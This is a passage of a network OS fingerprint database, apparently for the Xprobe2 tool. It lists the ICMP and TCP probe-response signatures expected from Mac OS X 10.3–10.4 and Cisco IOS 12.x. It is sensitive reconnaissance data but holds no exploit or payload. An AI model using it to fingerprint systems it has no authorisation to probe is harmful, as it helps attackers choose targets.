<64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 33304 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.3.9" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 4 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.4.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 6 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } fingerprint { OS_ID = "Apple Mac OS X 10.4.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 6 June 2005 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = n icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = MSS NOP WSCALE NOP NOP TIMESTAMP tcp_syn_ack_wscale = 0 tcp_syn_ack_tsecr = !0 tcp_syn_ack_tsval = !0 #Module G tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = Darwin Kernel Version } #Cisco Systems fingerprint { OS_ID = "Cisco IOS 12.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 01 February 2005 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = SENT icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = SENT #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = SENT #Module D icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = SENT #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0x10 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 4128 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Cisco IOS 12.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 25 June 2002 #Modified: 25 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = SENT icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = SENT #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = SENT #Module D icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = SENT #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0x10 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <255 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 4128 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Cisco IOS 12.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 27 January 2002 #Modified: 25 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = SENT icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = SENT #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = SENT #Module D icmp_info_reply = y icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = SENT #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F #IP header of the TCP SYN | ACK 